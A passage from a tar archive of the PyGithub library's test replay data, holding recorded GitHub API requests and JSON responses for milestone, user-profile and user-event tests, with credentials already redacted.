","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2025-01-03T18:50:01Z","pushed_at":"2024-12-19T12:01:11Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16425,"stargazers_count":7117,"watchers_count":7117,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1792,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":356,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1792,"open_issues":356,"watchers":7117,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":false,"allow_rebase_merge":false,"allow_auto_merge":false,"delete_branch_on_merge":true,"allow_update_branch":true,"use_squash_pr_title_as_default":true,"squash_merge_commit_message":"PR_BODY","squash_merge_commit_title":"PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","custom_properties":{},"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"},"dependabot_security_updates":{"status":"enabled"},"secret_scanning_non_provider_patterns":{"status":"disabled"},"secret_scanning_validity_checks":{"status":"disabled"}},"network_count":1792,"subscribers_count":111} https GET api.github.com None /repos/PyGithub/PyGithub/milestones/1 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 21:49:21 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"5d26cc4d2ba7e9af18090425bf8491d09d6ebce7d5d5540960ba2a66b4b309d0"'), ('Last-Modified', 'Sun, 20 Oct 2024 07:14:52 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4998'), ('X-RateLimit-Reset', '1735944560'), ('X-RateLimit-Used', '2'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '92F6:4E297:23BC472B:24A1E8E2:67785B60')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/1","html_url":"https://github.com/PyGithub/PyGithub/milestone/1","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/1/labels","id":93546,"node_id":"MDk6TWlsZXN0b25lOTM1NDY=","number":1,"title":"Version 0.4","description":"","creator":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","user_view_type":"public","site_admin":false},"open_issues":0,"closed_issues":2,"state":"closed","created_at":"2012-03-08T12:22:10Z","updated_at":"2012-09-11T18:48:34Z","due_on":"2012-03-13T07:00:00Z","closed_at":"2012-03-12T22:18:49Z"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Milestone.testDelete.txt0000644000175100001660000000063514756101563022763 0ustar00runnerdockerhttps DELETE api.github.com None /repos/PyGithub/PyGithub/milestones/1 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4938'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sat, 19 May 2012 10:34:44 GMT')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Milestone.testEditWithAllParameters.txt0000644000175100001660000000235214756101563025755 0ustar00runnerdockerhttps PATCH api.github.com None /repos/PyGithub/PyGithub/milestones/1 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"due_on": "2012-06-16", "state": "closed", "description": "Description edited by PyGithub", "title": "Title edited twice by PyGithub"} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4946'), ('content-length', '606'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"ac9f76c61e1fe0e76cd26e77e59d5797"'), ('date', 'Sat, 19 May 2012 10:30:15 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/5","due_on":"2012-06-16T07:00:00Z","creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"number":5,"open_issues":0,"title":"Title edited twice by PyGithub","closed_issues":0,"created_at":"2012-05-19T10:24:13Z","state":"closed","description":"Description edited by PyGithub","id":121463} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Milestone.testEditWithMinimalParameters.txt0000644000175100001660000000220114756101563026624 0ustar00runnerdockerhttps PATCH api.github.com None /repos/PyGithub/PyGithub/milestones/1 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"title": "Title edited by PyGithub"} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4954'), ('content-length', '599'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"df00dd4d1183f48c313b9cf04330623b"'), ('date', 'Sat, 19 May 2012 10:29:02 GMT'), ('content-type', 'application/json; charset=utf-8')] {"closed_issues":0,"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/5","due_on":"2012-06-15T07:00:00Z","creator":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"number":5,"open_issues":0,"title":"Title edited by PyGithub","created_at":"2012-05-19T10:24:13Z","state":"open","description":"Description created by PyGithub","id":121463} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Milestone.testGetLabels.txt0000644000175100001660000000134714756101563023424 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/milestones/1/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4942'), ('content-length', '253'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"cd4ed3176e27a01da9a51f84c7b19b63"'), ('date', 'Sat, 19 May 2012 10:33:15 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management","color":"444444"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/NamedUser.setUp.txt0000644000175100001660000000571014756101563021704 0ustar00runnerdockerhttps GET api.github.com None /users/jacquev6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 22:05:16 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"cdcdd165941281cdc3948a0cdff00dcb40d91a0ba044e67272d5b433326e8f81"'), ('Last-Modified', 'Sun, 20 Oct 2024 07:14:52 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4996'), ('X-RateLimit-Reset', '1735944560'), ('X-RateLimit-Used', '4'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'DEEE:4E297:23C6134F:24ABF6D7:67785F1C')] {"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","user_view_type":"public","site_admin":false,"name":"Vincent Jacques","company":null,"blog":"http://vincent-jacques.net","location":"France","email":"vincent@vincent-jacques.net","hireable":true,"bio":null,"twitter_username":null,"public_repos":38,"public_gists":18,"followers":98,"following":62,"created_at":"2010-07-09T06:10:06Z","updated_at":"2024-10-20T07:14:52Z"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/NamedUser.testAttributesOfOtherUser.txt0000644000175100001660000000212614756101563025756 0ustar00runnerdockerhttps GET api.github.com None /users/nvie {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '598'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"66a516a2007fb7df8bbb3f9cc7cb2da8"'), ('date', 'Fri, 18 May 2012 19:46:37 GMT'), ('content-type', 'application/json; charset=utf-8')] {"public_gists":16,"type":"User","hireable":false,"company":"3rd Cloud","url":"https://api.github.com/users/nvie","gravatar_id":"c5a7f21b46df698f3db31c37ed0cf55a","bio":null,"followers":296,"blog":"http://nvie.com","avatar_url":"https://secure.gravatar.com/avatar/c5a7f21b46df698f3db31c37ed0cf55a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"nvie","email":"vincent@3rdcloud.com","public_repos":61,"html_url":"https://github.com/nvie","name":"Vincent Driessen","created_at":"2009-05-12T21:19:38Z","location":"Netherlands","id":83844,"following":41,"node_id":"MDQ6VXNlcjgzODQ0","twitter_username":"nvie"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/NamedUser.testGetEvents.txt0000644000175100001660000022422614756101563023415 0ustar00runnerdockerhttps GET api.github.com None /users/jacquev6/events {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4955'), ('content-length', '75377'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next"'), ('etag', '"c8320d1ab46fc40525837ed17c96dd2e"'), ('date', 'Sun, 20 May 2012 12:17:21 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"type":"GistEvent","payload":{"action":"create","gist":{"created_at":"2012-05-20T12:14:08Z","comments":0,"public":true,"updated_at":"2012-05-20T12:14:08Z","files":{},"git_push_url":"git@gist.github.com:2757859.git","url":"https://api.github.com/gists/2757859","id":"2757859","git_pull_url":"git://gist.github.com/2757859.git","description":"Gist created by PyGithub on a NamedUser","html_url":"https://gist.github.com/2757859","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"public":true,"repo":{"url":"https://api.github.com/repos//","name":"/"},"created_at":"2012-05-20T12:14:09Z","id":"1553915048","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T11:46:42Z","body":"Comment created by PyGithub","updated_at":"2012-05-20T11:46:42Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/5808311","id":5808311,"user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},"action":"created","issue":{"number":28,"created_at":"2012-05-19T10:38:23Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"Body edited by PyGithub","comments":1,"title":"Title edited by PyGithub","updated_at":"2012-05-20T11:46:43Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/28","id":4653757,"assignee":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":2,"created_at":"2012-03-08T12:22:28Z","due_on":null,"title":"Version 1.0: coherent public interface","creator":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","id":93547,"closed_issues":1,"open_issues":11,"description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","state":"open"},"closed_at":null,"labels":[{"name":"Bug","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","color":"e10c02"},{"name":"Project management","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","color":"444444"},{"name":"Question","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Question","color":"02e10c"}],"html_url":"https://github.com/jacquev6/PyGithub/issues/28","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"state":"open"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-20T11:46:43Z","id":"1553912723","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"63f8767c5b8d1f2f8d88346a58cdb6173e251d52","size":9,"push_id":79333321,"commits":[{"sha":"da3bea69229c6498be48968db8dc27d21b05da67","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/da3bea69229c6498be48968db8dc27d21b05da67","distinct":true,"message":"Test Tag attributes"},{"sha":"667937b437747df181cfeeab84fa74bcc5e7b118","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/667937b437747df181cfeeab84fa74bcc5e7b118","distinct":true,"message":"Test Hooks"},{"sha":"350e014d55a82eab268d7229c99debce8ede3625","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/350e014d55a82eab268d7229c99debce8ede3625","distinct":true,"message":"Remove completion of Hook"},{"sha":"799d22a39e12b020b49dc59ce5775c6135ee54ea","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/799d22a39e12b020b49dc59ce5775c6135ee54ea","distinct":true,"message":"Remove __completed from non-completable classes"},{"sha":"a097671795e9dba08ff8e86f59e58ba98a4478e2","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/a097671795e9dba08ff8e86f59e58ba98a4478e2","distinct":true,"message":"Test Gist"},{"sha":"fdb10338257556a7590f8f93c16284dba49743d6","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/fdb10338257556a7590f8f93c16284dba49743d6","distinct":true,"message":"Rename some tests"},{"sha":"72c34a840d1492a62683f081bd00d286b28cef0f","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/72c34a840d1492a62683f081bd00d286b28cef0f","distinct":true,"message":"Test labels (new special case in Repository.get_label...)"},{"sha":"c1787205baa31f20f8c444d2908677c4d09f4db0","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/c1787205baa31f20f8c444d2908677c4d09f4db0","distinct":true,"message":"Test Milestone"},{"sha":"63f8767c5b8d1f2f8d88346a58cdb6173e251d52","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/63f8767c5b8d1f2f8d88346a58cdb6173e251d52","distinct":true,"message":"Test Issue"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-19T10:50:40Z","id":"1553749349","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"IssuesEvent","payload":{"action":"opened","issue":{"number":28,"created_at":"2012-05-19T10:38:23Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":null,"title":"Issue created by PyGithub","comments":0,"updated_at":"2012-05-19T10:38:23Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/28","id":4653757,"assignee":null,"milestone":null,"closed_at":null,"user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"html_url":"https://github.com/jacquev6/PyGithub/issues/28","labels":[],"state":"open"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-19T10:38:24Z","id":"1553748323","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"GistEvent","payload":{"action":"fork","gist":{"created_at":"2012-05-19T07:25:30Z","public":true,"comments":0,"files":{},"updated_at":"2012-05-19T07:25:30Z","git_push_url":"git@gist.github.com:2729865.git","url":"https://api.github.com/gists/2729865","id":"2729865","git_pull_url":"git://gist.github.com/2729865.git","description":"RoR setup in AWS EC2(Ubuntu 12.04 LTS)","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"html_url":"https://gist.github.com/2729865"}},"public":true,"repo":{"url":"https://api.github.com/repos//","name":"/"},"created_at":"2012-05-19T07:25:31Z","id":"1553728670","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"GistEvent","payload":{"action":"update","gist":{"created_at":"2012-05-19T07:00:58Z","comments":0,"public":true,"git_push_url":"git@gist.github.com:2729810.git","files":{},"updated_at":"2012-05-19T07:06:10Z","url":"https://api.github.com/gists/2729810","id":"2729810","git_pull_url":"git://gist.github.com/2729810.git","description":"Description edited by PyGithub","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"html_url":"https://gist.github.com/2729810"}},"public":true,"repo":{"url":"https://api.github.com/repos//","name":"/"},"created_at":"2012-05-19T07:06:10Z","id":"1553727205","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"GistEvent","payload":{"action":"update","gist":{"created_at":"2012-05-19T07:00:58Z","public":true,"comments":0,"updated_at":"2012-05-19T07:04:31Z","files":{},"git_push_url":"git@gist.github.com:2729810.git","url":"https://api.github.com/gists/2729810","id":"2729810","git_pull_url":"git://gist.github.com/2729810.git","description":"Description edited by PyGitHub","html_url":"https://gist.github.com/2729810","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"public":true,"repo":{"url":"https://api.github.com/repos//","name":"/"},"created_at":"2012-05-19T07:04:31Z","id":"1553727091","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"GistEvent","payload":{"action":"create","gist":{"created_at":"2012-05-19T07:00:58Z","comments":0,"public":true,"updated_at":"2012-05-19T07:00:58Z","files":{},"git_push_url":"git@gist.github.com:2729810.git","url":"https://api.github.com/gists/2729810","id":"2729810","git_pull_url":"git://gist.github.com/2729810.git","description":"Gist created by 